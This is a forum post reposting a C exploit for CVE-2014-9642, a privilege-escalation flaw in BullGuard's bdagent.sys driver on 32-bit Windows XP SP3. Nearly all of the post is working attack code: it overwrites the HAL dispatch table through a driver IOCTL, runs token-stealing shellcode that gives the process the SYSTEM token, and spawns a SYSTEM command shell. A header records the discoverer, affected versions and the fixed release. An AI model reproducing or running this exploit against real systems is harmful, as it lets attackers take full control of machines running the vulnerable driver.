Aerosol Posted February 5, 2015 Report Posted February 5, 2015 /*Exploit Title - BullGuard Multiple Products Arbitrary Write Privilege EscalationDate - 04th February 2015Discovered by - Parvez Anwar (@parvezghh)Vendor Homepage - http://www.bullguard.com/Tested Version - 14.1.285.4Driver Version - 1.0.0.6 - BdAgent.sysTested on OS - 32bit Windows XP SP3OSVDB - http://www.osvdb.org/show/osvdb/114478CVE ID - CVE-2014-9642Vendor fix url - http://www.bullguard.com/about/release-notes.aspxFixed Version - 15.0.288.1Fixed driver ver - 1.0.0.7Note----Overwritten HAL dispatch table after exploitkd> dps nt!HalDispatchTable l c8054ccb8 000000038054ccbc 003400008054ccc0 000100008054ccc4 0a0600028054ccc8 ee6576458054cccc 000000018054ccd0 000000018054ccd4 867c1bf08054ccd8 80613f7b nt!IoSetPartitionInformation8054ccdc 806141ef nt!IoWritePartitionTable8054cce0 8052d157 nt!CcHasInactiveViews8054cce4 804e42d1 nt!ObpTraceDepth+0x197 pointers get overwritten. Since input buffer is in our control and pointersare static in XP I've triggered the overwrite again restoring the pointers.*/#include <stdio.h>#include <windows.h>#define BUFSIZE 4096typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { PVOID Unknown1; PVOID Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256];} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemHandleInformation = 16} SYSTEM_INFORMATION_CLASS;typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)( DWORD ProfileSource, PULONG Interval);typedef void (*FUNCTPTR)();// Windows XP SP3#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS structBYTE token_steal_xp[] ={ 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN 0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 Away from the kernel };BYTE restore_pointers_xp[] = // kd> dps nt!HalDispatchTable"\xf2\xa3\x6f\x80" // 8054ccbc 806fa3f2 hal!HaliQuerySystemInformation"\xce\xa3\x6f\x80" // 8054ccc0 806fa3ce hal!HaliSetSystemInformation"\x0b\x46\x61\x80" // 8054ccc4 8061460b nt!xHalQueryBusSlots"\x00\x00\x00\x00" // 8054ccc8 00000000"\x4d\xac\x50\x80" // 8054cccc 8050ac4d nt!HalExamineMBR"\x89\x6f\x5c\x80" // 8054ccd0 805c6f89 nt!IoAssignDriveLetters"\xe5\x4a\x5c\x80"; // 8054ccd4 805c4ae5 nt!IoReadPartitionTableDWORD HalDispatchTableAddress(){ _NtQuerySystemInformation NtQuerySystemInformation; PSYSTEM_MODULE_INFORMATION pModuleInfo; DWORD HalDispatchTable; CHAR kFullName[256]; PVOID kBase = NULL; LPSTR kName; HMODULE Kernel; FUNCTPTR Hal; ULONG len; NTSTATUS status; NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); if (!status) { printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status); return -1; } pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); if(pModuleInfo == NULL) { printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); memset(kFullName, 0x00, sizeof(kFullName)); strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName); kBase = pModuleInfo->Module[0].Base; printf("[i] Kernel base name %s\n", kFullName); kName = strrchr(kFullName, '\\'); Kernel = LoadLibraryA(++kName); if(Kernel == NULL) { printf("[-] Failed to load kernel base\n\n"); return -1; } Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable"); if(Hal == NULL) { printf("[-] Failed to find HalDispatchTable\n\n"); return -1; } printf("[i] HalDispatchTable address 0x%08x\n", Hal); printf("[i] Kernel handle 0x%08x\n", Kernel); printf("[i] Kernel base address 0x%08x\n", kBase); HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase); printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable); if(!HalDispatchTable) { printf("[-] Failed to calculate HalDispatchTable\n\n"); return -1; } return HalDispatchTable;}int GetWindowsVersion(){ int v = 0; DWORD version = 0, minVersion = 0, majVersion = 0; version = GetVersion(); minVersion = (DWORD)(HIBYTE(LOWORD(version))); majVersion = (DWORD)(LOBYTE(LOWORD(version))); if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP; if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7"; if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003; return v;}void spawnShell(){ STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(?, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, ?)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess);}int main(int argc, char *argv[]){ _NtQueryIntervalProfile NtQueryIntervalProfile; LPVOID input[1] = {0}; LPVOID addrtoshell; HANDLE hDevice; DWORD dwRetBytes = 0; DWORD HalDispatchTableTarget; ULONG time = 0; unsigned char devhandle[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf(" BullGuard Multiple Products (bdagent.sys) Arbitrary Write EoP Exploit \n"); printf(" Tested on Windows XP SP3 (32bit) \n"); printf("-------------------------------------------------------------------------------\n\n"); if (GetWindowsVersion() == 1) { printf("[i] Running Windows XP\n"); } if (GetWindowsVersion() == 0) { printf("[i] Exploit not supported on this OS\n\n"); return -1; } sprintf(devhandle, "\\\\.\\%s", "bdagent"); NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { printf("[-] Unable to resolve NtQueryIntervalProfile\n\n"); return -1; } addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(addrtoshell == NULL) { printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell); memset(addrtoshell, 0x90, BUFSIZE); memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp)); hDevice = CreateFile(devhandle, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError()); return -1; } else { printf("[+] Open %s device successful\n", devhandle); } HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD); printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget); input[0] = addrtoshell; // input buffer contents gets written to our output buffer address printf("[+] Input buffer contents %08x\n", input[0]); printf("[~] Press any key to send Exploit . . .\n"); getch(); DeviceIoControl(hDevice, 0x0022405c, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL); printf("[+] Buffer sent\n"); printf("[+] Spawning SYSTEM Shell\n"); NtQueryIntervalProfile(2, &time); spawnShell(); printf("[+] Restoring Hal dispatch table pointers\n\n"); DeviceIoControl(hDevice, 0x0022405c, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL); CloseHandle(hDevice); return 0;}Source Quote
